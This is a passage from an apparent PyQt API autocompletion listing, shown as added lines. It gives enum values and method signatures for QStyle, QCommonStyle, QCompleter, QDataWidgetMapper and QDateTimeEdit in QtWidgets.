+QtWidgets.QStyle.SubControl.SC_TitleBarMinButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarMaxButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarCloseButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarNormalButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarShadeButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarUnshadeButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarContextHelpButton?10 +QtWidgets.QStyle.SubControl.SC_TitleBarLabel?10 +QtWidgets.QStyle.SubControl.SC_DialGroove?10 +QtWidgets.QStyle.SubControl.SC_DialHandle?10 +QtWidgets.QStyle.SubControl.SC_DialTickmarks?10 +QtWidgets.QStyle.SubControl.SC_GroupBoxCheckBox?10 +QtWidgets.QStyle.SubControl.SC_GroupBoxLabel?10 +QtWidgets.QStyle.SubControl.SC_GroupBoxContents?10 +QtWidgets.QStyle.SubControl.SC_GroupBoxFrame?10 +QtWidgets.QStyle.SubControl.SC_MdiMinButton?10 +QtWidgets.QStyle.SubControl.SC_MdiNormalButton?10 +QtWidgets.QStyle.SubControl.SC_MdiCloseButton?10 +QtWidgets.QStyle.SubControl.SC_CustomBase?10 +QtWidgets.QStyle.SubControl.SC_All?10 +QtWidgets.QStyle.ComplexControl?10 +QtWidgets.QStyle.ComplexControl.CC_SpinBox?10 +QtWidgets.QStyle.ComplexControl.CC_ComboBox?10 +QtWidgets.QStyle.ComplexControl.CC_ScrollBar?10 +QtWidgets.QStyle.ComplexControl.CC_Slider?10 +QtWidgets.QStyle.ComplexControl.CC_ToolButton?10 +QtWidgets.QStyle.ComplexControl.CC_TitleBar?10 +QtWidgets.QStyle.ComplexControl.CC_Dial?10 +QtWidgets.QStyle.ComplexControl.CC_GroupBox?10 +QtWidgets.QStyle.ComplexControl.CC_MdiControls?10 +QtWidgets.QStyle.ComplexControl.CC_CustomBase?10 +QtWidgets.QStyle.SubElement?10 +QtWidgets.QStyle.SubElement.SE_PushButtonContents?10 +QtWidgets.QStyle.SubElement.SE_PushButtonFocusRect?10 +QtWidgets.QStyle.SubElement.SE_CheckBoxIndicator?10 +QtWidgets.QStyle.SubElement.SE_CheckBoxContents?10 +QtWidgets.QStyle.SubElement.SE_CheckBoxFocusRect?10 +QtWidgets.QStyle.SubElement.SE_CheckBoxClickRect?10 +QtWidgets.QStyle.SubElement.SE_RadioButtonIndicator?10 +QtWidgets.QStyle.SubElement.SE_RadioButtonContents?10 +QtWidgets.QStyle.SubElement.SE_RadioButtonFocusRect?10 +QtWidgets.QStyle.SubElement.SE_RadioButtonClickRect?10 +QtWidgets.QStyle.SubElement.SE_ComboBoxFocusRect?10 +QtWidgets.QStyle.SubElement.SE_SliderFocusRect?10 +QtWidgets.QStyle.SubElement.SE_ProgressBarGroove?10 +QtWidgets.QStyle.SubElement.SE_ProgressBarContents?10 +QtWidgets.QStyle.SubElement.SE_ProgressBarLabel?10 +QtWidgets.QStyle.SubElement.SE_ToolBoxTabContents?10 +QtWidgets.QStyle.SubElement.SE_HeaderLabel?10 +QtWidgets.QStyle.SubElement.SE_HeaderArrow?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetTabBar?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetTabPane?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetTabContents?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetLeftCorner?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetRightCorner?10 +QtWidgets.QStyle.SubElement.SE_ViewItemCheckIndicator?10 +QtWidgets.QStyle.SubElement.SE_TabBarTearIndicator?10 +QtWidgets.QStyle.SubElement.SE_TreeViewDisclosureItem?10 +QtWidgets.QStyle.SubElement.SE_LineEditContents?10 +QtWidgets.QStyle.SubElement.SE_FrameContents?10 +QtWidgets.QStyle.SubElement.SE_DockWidgetCloseButton?10 +QtWidgets.QStyle.SubElement.SE_DockWidgetFloatButton?10 +QtWidgets.QStyle.SubElement.SE_DockWidgetTitleBarText?10 +QtWidgets.QStyle.SubElement.SE_DockWidgetIcon?10 +QtWidgets.QStyle.SubElement.SE_CheckBoxLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_ComboBoxLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_DateTimeEditLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_DialogButtonBoxLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_LabelLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_ProgressBarLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_PushButtonLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_RadioButtonLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_SliderLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_SpinBoxLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_ToolButtonLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_FrameLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_GroupBoxLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_TabWidgetLayoutItem?10 +QtWidgets.QStyle.SubElement.SE_ItemViewItemCheckIndicator?10 +QtWidgets.QStyle.SubElement.SE_ItemViewItemDecoration?10 +QtWidgets.QStyle.SubElement.SE_ItemViewItemText?10 +QtWidgets.QStyle.SubElement.SE_ItemViewItemFocusRect?10 +QtWidgets.QStyle.SubElement.SE_TabBarTabLeftButton?10 +QtWidgets.QStyle.SubElement.SE_TabBarTabRightButton?10 +QtWidgets.QStyle.SubElement.SE_TabBarTabText?10 +QtWidgets.QStyle.SubElement.SE_ShapedFrameContents?10 +QtWidgets.QStyle.SubElement.SE_ToolBarHandle?10 +QtWidgets.QStyle.SubElement.SE_TabBarTearIndicatorLeft?10 +QtWidgets.QStyle.SubElement.SE_TabBarScrollLeftButton?10 +QtWidgets.QStyle.SubElement.SE_TabBarScrollRightButton?10 +QtWidgets.QStyle.SubElement.SE_TabBarTearIndicatorRight?10 +QtWidgets.QStyle.SubElement.SE_PushButtonBevel?10 +QtWidgets.QStyle.SubElement.SE_CustomBase?10 +QtWidgets.QStyle.ControlElement?10 +QtWidgets.QStyle.ControlElement.CE_PushButton?10 +QtWidgets.QStyle.ControlElement.CE_PushButtonBevel?10 +QtWidgets.QStyle.ControlElement.CE_PushButtonLabel?10 +QtWidgets.QStyle.ControlElement.CE_CheckBox?10 +QtWidgets.QStyle.ControlElement.CE_CheckBoxLabel?10 +QtWidgets.QStyle.ControlElement.CE_RadioButton?10 +QtWidgets.QStyle.ControlElement.CE_RadioButtonLabel?10 +QtWidgets.QStyle.ControlElement.CE_TabBarTab?10 +QtWidgets.QStyle.ControlElement.CE_TabBarTabShape?10 +QtWidgets.QStyle.ControlElement.CE_TabBarTabLabel?10 +QtWidgets.QStyle.ControlElement.CE_ProgressBar?10 +QtWidgets.QStyle.ControlElement.CE_ProgressBarGroove?10 +QtWidgets.QStyle.ControlElement.CE_ProgressBarContents?10 +QtWidgets.QStyle.ControlElement.CE_ProgressBarLabel?10 +QtWidgets.QStyle.ControlElement.CE_MenuItem?10 +QtWidgets.QStyle.ControlElement.CE_MenuScroller?10 +QtWidgets.QStyle.ControlElement.CE_MenuVMargin?10 +QtWidgets.QStyle.ControlElement.CE_MenuHMargin?10 +QtWidgets.QStyle.ControlElement.CE_MenuTearoff?10 +QtWidgets.QStyle.ControlElement.CE_MenuEmptyArea?10 +QtWidgets.QStyle.ControlElement.CE_MenuBarItem?10 +QtWidgets.QStyle.ControlElement.CE_MenuBarEmptyArea?10 +QtWidgets.QStyle.ControlElement.CE_ToolButtonLabel?10 +QtWidgets.QStyle.ControlElement.CE_Header?10 +QtWidgets.QStyle.ControlElement.CE_HeaderSection?10 +QtWidgets.QStyle.ControlElement.CE_HeaderLabel?10 +QtWidgets.QStyle.ControlElement.CE_ToolBoxTab?10 +QtWidgets.QStyle.ControlElement.CE_SizeGrip?10 +QtWidgets.QStyle.ControlElement.CE_Splitter?10 +QtWidgets.QStyle.ControlElement.CE_RubberBand?10 +QtWidgets.QStyle.ControlElement.CE_DockWidgetTitle?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarAddLine?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarSubLine?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarAddPage?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarSubPage?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarSlider?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarFirst?10 +QtWidgets.QStyle.ControlElement.CE_ScrollBarLast?10 +QtWidgets.QStyle.ControlElement.CE_FocusFrame?10 +QtWidgets.QStyle.ControlElement.CE_ComboBoxLabel?10 +QtWidgets.QStyle.ControlElement.CE_ToolBar?10 +QtWidgets.QStyle.ControlElement.CE_ToolBoxTabShape?10 +QtWidgets.QStyle.ControlElement.CE_ToolBoxTabLabel?10 +QtWidgets.QStyle.ControlElement.CE_HeaderEmptyArea?10 +QtWidgets.QStyle.ControlElement.CE_ColumnViewGrip?10 +QtWidgets.QStyle.ControlElement.CE_ItemViewItem?10 +QtWidgets.QStyle.ControlElement.CE_ShapedFrame?10 +QtWidgets.QStyle.ControlElement.CE_CustomBase?10 +QtWidgets.QStyle.PrimitiveElement?10 +QtWidgets.QStyle.PrimitiveElement.PE_Frame?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameDefaultButton?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameDockWidget?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameFocusRect?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameGroupBox?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameLineEdit?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameMenu?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameStatusBar?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameTabWidget?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameWindow?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameButtonBevel?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameButtonTool?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameTabBarBase?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelButtonCommand?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelButtonBevel?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelButtonTool?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelMenuBar?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelToolBar?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelLineEdit?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorArrowDown?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorArrowLeft?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorArrowRight?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorArrowUp?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorBranch?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorButtonDropDown?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorViewItemCheck?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorCheckBox?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorDockWidgetResizeHandle?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorHeaderArrow?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorMenuCheckMark?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorProgressChunk?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorRadioButton?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorSpinDown?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorSpinMinus?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorSpinPlus?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorSpinUp?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorToolBarHandle?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorToolBarSeparator?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelTipLabel?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorTabTear?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelScrollAreaCorner?10 +QtWidgets.QStyle.PrimitiveElement.PE_Widget?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorColumnViewArrow?10 +QtWidgets.QStyle.PrimitiveElement.PE_FrameStatusBarItem?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorItemViewItemCheck?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorItemViewItemDrop?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelItemViewItem?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelItemViewRow?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelStatusBar?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorTabClose?10 +QtWidgets.QStyle.PrimitiveElement.PE_PanelMenu?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorTabTearLeft?10 +QtWidgets.QStyle.PrimitiveElement.PE_IndicatorTabTearRight?10 +QtWidgets.QStyle.PrimitiveElement.PE_CustomBase?10 +QtWidgets.QStyle.StateFlag?10 +QtWidgets.QStyle.StateFlag.State_None?10 +QtWidgets.QStyle.StateFlag.State_Enabled?10 +QtWidgets.QStyle.StateFlag.State_Raised?10 +QtWidgets.QStyle.StateFlag.State_Sunken?10 +QtWidgets.QStyle.StateFlag.State_Off?10 +QtWidgets.QStyle.StateFlag.State_NoChange?10 +QtWidgets.QStyle.StateFlag.State_On?10 +QtWidgets.QStyle.StateFlag.State_DownArrow?10 +QtWidgets.QStyle.StateFlag.State_Horizontal?10 +QtWidgets.QStyle.StateFlag.State_HasFocus?10 +QtWidgets.QStyle.StateFlag.State_Top?10 +QtWidgets.QStyle.StateFlag.State_Bottom?10 +QtWidgets.QStyle.StateFlag.State_FocusAtBorder?10 +QtWidgets.QStyle.StateFlag.State_AutoRaise?10 +QtWidgets.QStyle.StateFlag.State_MouseOver?10 +QtWidgets.QStyle.StateFlag.State_UpArrow?10 +QtWidgets.QStyle.StateFlag.State_Selected?10 +QtWidgets.QStyle.StateFlag.State_Active?10 +QtWidgets.QStyle.StateFlag.State_Open?10 +QtWidgets.QStyle.StateFlag.State_Children?10 +QtWidgets.QStyle.StateFlag.State_Item?10 +QtWidgets.QStyle.StateFlag.State_Sibling?10 +QtWidgets.QStyle.StateFlag.State_Editing?10 +QtWidgets.QStyle.StateFlag.State_KeyboardFocusChange?10 +QtWidgets.QStyle.StateFlag.State_ReadOnly?10 +QtWidgets.QStyle.StateFlag.State_Window?10 +QtWidgets.QStyle.StateFlag.State_Small?10 +QtWidgets.QStyle.StateFlag.State_Mini?10 +QtWidgets.QStyle?1() +QtWidgets.QStyle.__init__?1(self) +QtWidgets.QStyle.polish?4(QWidget) +QtWidgets.QStyle.unpolish?4(QWidget) +QtWidgets.QStyle.polish?4(QApplication) +QtWidgets.QStyle.unpolish?4(QApplication) +QtWidgets.QStyle.polish?4(QPalette) -> QPalette +QtWidgets.QStyle.itemTextRect?4(QFontMetrics, QRect, int, bool, QString) -> QRect +QtWidgets.QStyle.itemPixmapRect?4(QRect, int, QPixmap) -> QRect +QtWidgets.QStyle.drawItemText?4(QPainter, QRect, int, QPalette, bool, QString, QPalette.ColorRole textRole=QPalette.NoRole) +QtWidgets.QStyle.drawItemPixmap?4(QPainter, QRect, int, QPixmap) +QtWidgets.QStyle.standardPalette?4() -> QPalette +QtWidgets.QStyle.drawPrimitive?4(QStyle.PrimitiveElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QStyle.drawControl?4(QStyle.ControlElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QStyle.subElementRect?4(QStyle.SubElement, QStyleOption, QWidget widget=None) -> QRect +QtWidgets.QStyle.drawComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPainter, QWidget widget=None) +QtWidgets.QStyle.hitTestComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPoint, QWidget widget=None) -> QStyle.SubControl +QtWidgets.QStyle.subControlRect?4(QStyle.ComplexControl, QStyleOptionComplex, QStyle.SubControl, QWidget widget=None) -> QRect +QtWidgets.QStyle.pixelMetric?4(QStyle.PixelMetric, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QStyle.sizeFromContents?4(QStyle.ContentsType, QStyleOption, QSize, QWidget widget=None) -> QSize +QtWidgets.QStyle.styleHint?4(QStyle.StyleHint, QStyleOption option=None, QWidget widget=None, QStyleHintReturn returnData=None) -> int +QtWidgets.QStyle.standardPixmap?4(QStyle.StandardPixmap, QStyleOption option=None, QWidget widget=None) -> QPixmap +QtWidgets.QStyle.standardIcon?4(QStyle.StandardPixmap, QStyleOption option=None, QWidget widget=None) -> QIcon +QtWidgets.QStyle.generatedIconPixmap?4(QIcon.Mode, QPixmap, QStyleOption) -> QPixmap +QtWidgets.QStyle.visualRect?4(Qt.LayoutDirection, QRect, QRect) -> QRect +QtWidgets.QStyle.visualPos?4(Qt.LayoutDirection, QRect, QPoint) -> QPoint +QtWidgets.QStyle.sliderPositionFromValue?4(int, int, int, int, bool upsideDown=False) -> int +QtWidgets.QStyle.sliderValueFromPosition?4(int, int, int, int, bool upsideDown=False) -> int +QtWidgets.QStyle.visualAlignment?4(Qt.LayoutDirection, Qt.Alignment) -> Qt.Alignment +QtWidgets.QStyle.alignedRect?4(Qt.LayoutDirection, Qt.Alignment, QSize, QRect) -> QRect +QtWidgets.QStyle.layoutSpacing?4(QSizePolicy.ControlType, QSizePolicy.ControlType, Qt.Orientation, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QStyle.combinedLayoutSpacing?4(QSizePolicy.ControlTypes, QSizePolicy.ControlTypes, Qt.Orientation, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QStyle.proxy?4() -> QStyle +QtWidgets.QCommonStyle?1() +QtWidgets.QCommonStyle.__init__?1(self) +QtWidgets.QCommonStyle.polish?4(QWidget) +QtWidgets.QCommonStyle.unpolish?4(QWidget) +QtWidgets.QCommonStyle.polish?4(QApplication) +QtWidgets.QCommonStyle.unpolish?4(QApplication) +QtWidgets.QCommonStyle.polish?4(QPalette) -> QPalette +QtWidgets.QCommonStyle.drawPrimitive?4(QStyle.PrimitiveElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QCommonStyle.drawControl?4(QStyle.ControlElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QCommonStyle.subElementRect?4(QStyle.SubElement, QStyleOption, QWidget widget=None) -> QRect +QtWidgets.QCommonStyle.drawComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPainter, QWidget widget=None) +QtWidgets.QCommonStyle.hitTestComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPoint, QWidget widget=None) -> QStyle.SubControl +QtWidgets.QCommonStyle.subControlRect?4(QStyle.ComplexControl, QStyleOptionComplex, QStyle.SubControl, QWidget widget=None) -> QRect +QtWidgets.QCommonStyle.sizeFromContents?4(QStyle.ContentsType, QStyleOption, QSize, QWidget widget=None) -> QSize +QtWidgets.QCommonStyle.pixelMetric?4(QStyle.PixelMetric, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QCommonStyle.styleHint?4(QStyle.StyleHint, QStyleOption option=None, QWidget widget=None, QStyleHintReturn returnData=None) -> int +QtWidgets.QCommonStyle.standardPixmap?4(QStyle.StandardPixmap, QStyleOption option=None, QWidget widget=None) -> QPixmap +QtWidgets.QCommonStyle.generatedIconPixmap?4(QIcon.Mode, QPixmap, QStyleOption) -> QPixmap +QtWidgets.QCommonStyle.standardIcon?4(QStyle.StandardPixmap, QStyleOption option=None, QWidget widget=None) -> QIcon +QtWidgets.QCommonStyle.layoutSpacing?4(QSizePolicy.ControlType, QSizePolicy.ControlType, Qt.Orientation, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QCompleter.ModelSorting?10 +QtWidgets.QCompleter.ModelSorting.UnsortedModel?10 +QtWidgets.QCompleter.ModelSorting.CaseSensitivelySortedModel?10 +QtWidgets.QCompleter.ModelSorting.CaseInsensitivelySortedModel?10 +QtWidgets.QCompleter.CompletionMode?10 +QtWidgets.QCompleter.CompletionMode.PopupCompletion?10 +QtWidgets.QCompleter.CompletionMode.UnfilteredPopupCompletion?10 +QtWidgets.QCompleter.CompletionMode.InlineCompletion?10 +QtWidgets.QCompleter?1(QAbstractItemModel, QObject parent=None) +QtWidgets.QCompleter.__init__?1(self, QAbstractItemModel, QObject parent=None) +QtWidgets.QCompleter?1(QStringList, QObject parent=None) +QtWidgets.QCompleter.__init__?1(self, QStringList, QObject parent=None) +QtWidgets.QCompleter?1(QObject parent=None) +QtWidgets.QCompleter.__init__?1(self, QObject parent=None) +QtWidgets.QCompleter.setWidget?4(QWidget) +QtWidgets.QCompleter.widget?4() -> QWidget +QtWidgets.QCompleter.setModel?4(QAbstractItemModel) +QtWidgets.QCompleter.model?4() -> QAbstractItemModel +QtWidgets.QCompleter.setCompletionMode?4(QCompleter.CompletionMode) +QtWidgets.QCompleter.completionMode?4() -> QCompleter.CompletionMode +QtWidgets.QCompleter.popup?4() -> QAbstractItemView +QtWidgets.QCompleter.setPopup?4(QAbstractItemView) +QtWidgets.QCompleter.setCaseSensitivity?4(Qt.CaseSensitivity) +QtWidgets.QCompleter.caseSensitivity?4() -> Qt.CaseSensitivity +QtWidgets.QCompleter.setModelSorting?4(QCompleter.ModelSorting) +QtWidgets.QCompleter.modelSorting?4() -> QCompleter.ModelSorting +QtWidgets.QCompleter.setCompletionColumn?4(int) +QtWidgets.QCompleter.completionColumn?4() -> int +QtWidgets.QCompleter.setCompletionRole?4(int) +QtWidgets.QCompleter.completionRole?4() -> int +QtWidgets.QCompleter.completionCount?4() -> int +QtWidgets.QCompleter.setCurrentRow?4(int) -> bool +QtWidgets.QCompleter.currentRow?4() -> int +QtWidgets.QCompleter.currentIndex?4() -> QModelIndex +QtWidgets.QCompleter.currentCompletion?4() -> QString +QtWidgets.QCompleter.completionModel?4() -> QAbstractItemModel +QtWidgets.QCompleter.completionPrefix?4() -> QString +QtWidgets.QCompleter.pathFromIndex?4(QModelIndex) -> QString +QtWidgets.QCompleter.splitPath?4(QString) -> QStringList +QtWidgets.QCompleter.wrapAround?4() -> bool +QtWidgets.QCompleter.complete?4(QRect rect=QRect()) +QtWidgets.QCompleter.setCompletionPrefix?4(QString) +QtWidgets.QCompleter.setWrapAround?4(bool) +QtWidgets.QCompleter.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QCompleter.event?4(QEvent) -> bool +QtWidgets.QCompleter.activated?4(QString) +QtWidgets.QCompleter.activated?4(QModelIndex) +QtWidgets.QCompleter.highlighted?4(QString) +QtWidgets.QCompleter.highlighted?4(QModelIndex) +QtWidgets.QCompleter.maxVisibleItems?4() -> int +QtWidgets.QCompleter.setMaxVisibleItems?4(int) +QtWidgets.QCompleter.setFilterMode?4(Qt.MatchFlags) +QtWidgets.QCompleter.filterMode?4() -> Qt.MatchFlags +QtWidgets.QDataWidgetMapper.SubmitPolicy?10 +QtWidgets.QDataWidgetMapper.SubmitPolicy.AutoSubmit?10 +QtWidgets.QDataWidgetMapper.SubmitPolicy.ManualSubmit?10 +QtWidgets.QDataWidgetMapper?1(QObject parent=None) +QtWidgets.QDataWidgetMapper.__init__?1(self, QObject parent=None) +QtWidgets.QDataWidgetMapper.setModel?4(QAbstractItemModel) +QtWidgets.QDataWidgetMapper.model?4() -> QAbstractItemModel +QtWidgets.QDataWidgetMapper.setItemDelegate?4(QAbstractItemDelegate) +QtWidgets.QDataWidgetMapper.itemDelegate?4() -> QAbstractItemDelegate +QtWidgets.QDataWidgetMapper.setRootIndex?4(QModelIndex) +QtWidgets.QDataWidgetMapper.rootIndex?4() -> QModelIndex +QtWidgets.QDataWidgetMapper.setOrientation?4(Qt.Orientation) +QtWidgets.QDataWidgetMapper.orientation?4() -> Qt.Orientation +QtWidgets.QDataWidgetMapper.setSubmitPolicy?4(QDataWidgetMapper.SubmitPolicy) +QtWidgets.QDataWidgetMapper.submitPolicy?4() -> QDataWidgetMapper.SubmitPolicy +QtWidgets.QDataWidgetMapper.addMapping?4(QWidget, int) +QtWidgets.QDataWidgetMapper.addMapping?4(QWidget, int, QByteArray) +QtWidgets.QDataWidgetMapper.removeMapping?4(QWidget) +QtWidgets.QDataWidgetMapper.mappedPropertyName?4(QWidget) -> QByteArray +QtWidgets.QDataWidgetMapper.mappedSection?4(QWidget) -> int +QtWidgets.QDataWidgetMapper.mappedWidgetAt?4(int) -> QWidget +QtWidgets.QDataWidgetMapper.clearMapping?4() +QtWidgets.QDataWidgetMapper.currentIndex?4() -> int +QtWidgets.QDataWidgetMapper.revert?4() +QtWidgets.QDataWidgetMapper.setCurrentIndex?4(int) +QtWidgets.QDataWidgetMapper.setCurrentModelIndex?4(QModelIndex) +QtWidgets.QDataWidgetMapper.submit?4() -> bool +QtWidgets.QDataWidgetMapper.toFirst?4() +QtWidgets.QDataWidgetMapper.toLast?4() +QtWidgets.QDataWidgetMapper.toNext?4() +QtWidgets.QDataWidgetMapper.toPrevious?4() +QtWidgets.QDataWidgetMapper.currentIndexChanged?4(int) +QtWidgets.QDateTimeEdit.Section?10 +QtWidgets.QDateTimeEdit.Section.NoSection?10 +QtWidgets.QDateTimeEdit.Section.AmPmSection?10 +QtWidgets.QDateTimeEdit.Section.MSecSection?10 +QtWidgets.QDateTimeEdit.Section.SecondSection?10 +QtWidgets.QDateTimeEdit.Section.MinuteSection?10 +QtWidgets.QDateTimeEdit.Section.HourSection?10 +QtWidgets.QDateTimeEdit.Section.DaySection?10 +QtWidgets.QDateTimeEdit.Section.MonthSection?10 +QtWidgets.QDateTimeEdit.Section.YearSection?10 +QtWidgets.QDateTimeEdit.Section.TimeSections_Mask?10 +QtWidgets.QDateTimeEdit.Section.DateSections_Mask?10 +QtWidgets.QDateTimeEdit?1(QWidget parent=None) +QtWidgets.QDateTimeEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QDateTimeEdit?1(QDateTime, QWidget parent=None) +QtWidgets.QDateTimeEdit.__init__?1(self, QDateTime, QWidget parent=None) +QtWidgets.QDateTimeEdit?1(QDate, QWidget parent=None) +QtWidgets.QDateTimeEdit.__init__?1(self, QDate, QWidget parent=None) +QtWidgets.QDateTimeEdit?1(QTime, QWidget parent=None) +QtWidgets.QDateTimeEdit.__init__?1(self, QTime, QWidget parent=None) +QtWidgets.QDateTimeEdit.dateTime?4() -> QDateTime +QtWidgets.QDateTimeEdit.date?4() -> QDate +QtWidgets.QDateTimeEdit.time?4() -> QTime +QtWidgets.QDateTimeEdit.minimumDate?4() -> QDate +QtWidgets.QDateTimeEdit.setMinimumDate?4(QDate) +QtWidgets.QDateTimeEdit.clearMinimumDate?4() +QtWidgets.QDateTimeEdit.maximumDate?4() -> QDate +QtWidgets.QDateTimeEdit.setMaximumDate?4(QDate) +QtWidgets.QDateTimeEdit.clearMaximumDate?4() +QtWidgets.QDateTimeEdit.setDateRange?4(QDate, QDate) +QtWidgets.QDateTimeEdit.minimumTime?4() -> QTime +QtWidgets.QDateTimeEdit.setMinimumTime?4(QTime) +QtWidgets.QDateTimeEdit.clearMinimumTime?4() +QtWidgets.QDateTimeEdit.maximumTime?4() -> QTime +QtWidgets.QDateTimeEdit.setMaximumTime?4(QTime) +QtWidgets.QDateTimeEdit.clearMaximumTime?4() +QtWidgets.QDateTimeEdit.setTimeRange?4(QTime, QTime) +QtWidgets.QDateTimeEdit.displayedSections?4() -> QDateTimeEdit.Sections +QtWidgets.QDateTimeEdit.currentSection?4() -> QDateTimeEdit.Section +QtWidgets.QDateTimeEdit.setCurrentSection?4(QDateTimeEdit.Section) +QtWidgets.QDateTimeEdit.sectionText?4(QDateTimeEdit.Section) -> QString +QtWidgets.QDateTimeEdit.displayFormat?4() -> QString +QtWidgets.QDateTimeEdit.setDisplayFormat?4(QString) +QtWidgets.QDateTimeEdit.calendarPopup?4() -> bool +QtWidgets.QDateTimeEdit.setCalendarPopup?4(bool) +QtWidgets.QDateTimeEdit.setSelectedSection?4(QDateTimeEdit.Section) +QtWidgets.QDateTimeEdit.sizeHint?4() -> QSize +QtWidgets.QDateTimeEdit.clear?4() +QtWidgets.QDateTimeEdit.stepBy?4(int) +QtWidgets.QDateTimeEdit.event?4(QEvent) -> bool +QtWidgets.QDateTimeEdit.sectionAt?4(int) -> QDateTimeEdit.Section +QtWidgets.QDateTimeEdit.currentSectionIndex?4() -> int +QtWidgets.QDateTimeEdit.setCurrentSectionIndex?4(int) +QtWidgets.QDateTimeEdit.sectionCount?4() -> int +QtWidgets.QDateTimeEdit.dateTimeChanged?4(QDateTime) +QtWidgets.QDateTimeEdit.timeChanged?4(QTime) +QtWidgets.QDateTimeEdit.dateChanged?4(QDate) +QtWidgets.QDateTimeEdit.setDateTime?4(QDateTime) +QtWidgets.QDateTimeEdit.setDate?4(QDate) +QtWidgets.QDateTimeEdit.setTime?4(QTime) +QtWidgets.QDateTimeEdit.initStyleOption?4(QStyleOptionSpinBox) +QtWidgets.QDateTimeEdit.keyPressEvent?4(QKeyEvent) +QtWidgets.QDateTimeEdit.wheelEvent?4(QWheelEvent) +QtWidgets.QDateTimeEdit.focusInEvent?4(QFocusEvent) +QtWidgets.QDateTimeEdit.focusNextPrevChild?4(bool) -> bool +QtWidgets.QDateTimeEdit.mousePressEvent?4(QMouseEvent) +QtWidgets.QDateTimeEdit.paintEvent?4(QPaintEvent) 